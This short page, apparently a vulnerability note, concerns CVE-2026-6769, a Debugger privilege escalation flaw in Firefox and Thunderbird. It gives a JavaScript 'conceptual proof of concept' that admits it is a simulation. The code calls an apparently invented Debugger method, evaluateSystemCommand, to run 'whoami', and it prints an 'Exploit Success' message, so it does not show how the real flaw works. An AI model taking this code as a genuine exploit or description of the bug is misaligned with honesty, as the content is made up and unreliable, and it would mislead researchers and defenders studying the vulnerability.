CVE-2026-6769 Firefox/Thunderbird Debugger权限提升漏洞

// Conceptual Proof of Concept for CVE-2026-6769 // This script demonstrates how a Debugger component vulnerability might be triggered. // Note: This is a simulation based on the vulnerability description. function triggerPrivilegeEscalation() { try { // Attempt to access the Debugger object (Simulated) const dbg = new Debugger(); // Simulate attaching to a privileged context or global object // In a real exploit, this would bypass security checks (UI:R) dbg.addDebuggee(globalThis); // Attempt to execute a command with elevated privileges // This represents the Privilege Escalation vector (C:H/I:H/A:H) const result = dbg.evaluateSystemCommand("whoami"); console.log("[+] Exploit Success: " + result); } catch (e) { console.log("[-] Exploit Failed or Patched: " + e.message); } } // Trigger the function triggerPrivilegeEscalation();